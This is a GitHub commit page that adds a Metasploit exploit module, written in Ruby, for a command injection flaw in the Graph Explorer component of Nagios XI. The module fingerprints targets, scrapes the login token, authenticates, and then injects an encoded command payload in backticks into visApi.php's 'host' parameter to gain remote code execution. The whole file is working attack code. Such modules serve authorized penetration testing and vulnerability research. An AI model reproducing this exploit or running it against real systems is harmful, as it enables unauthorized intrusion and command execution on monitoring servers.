Skip to content

Commit 15661b8

Browse files
committed
Add Nagios Network Monitor Graph Explorer module
1 parent fafdcba commit 15661b8

File tree

1 file changed

+153
-0
lines changed

1 file changed

+153
-0
lines changed
Lines changed: 153 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,153 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Nagios XI Network Monitor Graph Explorer Component Command Injection",
18+
'Description' => %q{
19+
This module exploits a vulnerability found in Nagios XI Network Monitor's
20+
component 'Graph Explorer'. An authenticated user can execute system commands
21+
by injecting it in several parameters, such as in visApi.php's 'host' parameter,
22+
which results in remote code execution.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Daniel Compton <daniel.compton[at]ngssecure.com>', #Original discovery
28+
'sinn3r'
29+
],
30+
'References' =>
31+
[
32+
[ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ]
33+
],
34+
'Payload' =>
35+
{
36+
'BadChars' => "\x00\x0d\x0a",
37+
'Compat' =>
38+
{
39+
'PayloadType' => 'cmd',
40+
'RequiredCmd' => 'generic perl python ruby bash telnet',
41+
}
42+
},
43+
'Platform' => ['unix'],
44+
'Arch' => ARCH_CMD,
45+
'Targets' =>
46+
[
47+
['Graph Explorer Component prior to 1.3', {}]
48+
],
49+
'Privileged' => false,
50+
'DisclosureDate' => "Nov 30 2012",
51+
'DefaultTarget' => 0))
52+
53+
register_options(
54+
[
55+
# URI isn't registered, because this is set by the installer.
56+
OptString.new('USERNAME', [true, 'The username to login as', 'nagiosadmin']),
57+
OptString.new('PASSWORD', [true, 'The password to use'])
58+
], self.class)
59+
end
60+
61+
62+
def check
63+
res = send_request_raw({
64+
'method' => 'GET',
65+
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php'
66+
})
67+
68+
if res and res.code == 404
69+
print_error("Remote host does not have Graph Explorer installed.")
70+
elsif res and res.body =~ /Your session has timed out/
71+
return Exploit::CheckCode::Detected
72+
end
73+
74+
return Exploit::CheckCode::Safe
75+
end
76+
77+
def get_login_data
78+
res = send_request_cgi({'uri'=>'/nagiosxi/login.php'})
79+
return '' if !res
80+
81+
nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || ''
82+
cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0] || ''
83+
return nsp, cookie
84+
end
85+
86+
def is_loggedin(cookie)
87+
res = send_request_cgi({
88+
'method' => 'GET',
89+
'uri' => '/nagiosxi/index.php',
90+
'cookie' => "nagiosxi=#{cookie}"
91+
})
92+
93+
if res and res.body =~ /Logged in as: <a href=".+">#{datastore['USERNAME']}<\/a>/
94+
return true
95+
else
96+
return false
97+
end
98+
end
99+
100+
def login(nsp, cookie)
101+
res = send_request_cgi({
102+
'method' => 'POST',
103+
'uri' => '/nagiosxi/login.php',
104+
'cookie' => "nagiosxi=#{cookie}",
105+
'vars_post' => {
106+
'nsp' => nsp,
107+
'page' => 'auth',
108+
'debug' => '',
109+
'pageopt' => 'login',
110+
'username' => datastore['USERNAME'],
111+
'password' => datastore['PASSWORD'],
112+
'loginButton' => 'Login'
113+
},
114+
'headers' => {
115+
'Origin' => "http://#{rhost}",
116+
'Referer' => "http://#{rhost}/nagiosxi/login.php"
117+
}
118+
})
119+
120+
return is_loggedin(cookie)
121+
end
122+
123+
def exploit
124+
nsp, cookie = get_login_data
125+
if nsp.empty?
126+
print_error("Unable to retrieve hidden value 'nsp'")
127+
return false
128+
end
129+
130+
if login(nsp, cookie)
131+
print_status("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
132+
else
133+
print_error("Failed to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
134+
return
135+
end
136+
137+
print_status("Sending Command injection")
138+
send_request_cgi({
139+
'method' => 'GET',
140+
'uri' => '/nagiosxi/includes/components/graphexplorer/visApi.php',
141+
'cookie' => "nagiosxi=#{cookie}",
142+
'vars_get' => {
143+
'type' => 'stack',
144+
'host' => "localhost`#{payload.encoded}`",
145+
'service' => 'Swap_Usage',
146+
'div' => 'visContainer1566841654',
147+
'opt' => 'days'
148+
}
149+
})
150+
end
151+
152+
153+
end

0 commit comments

Comments
 (0)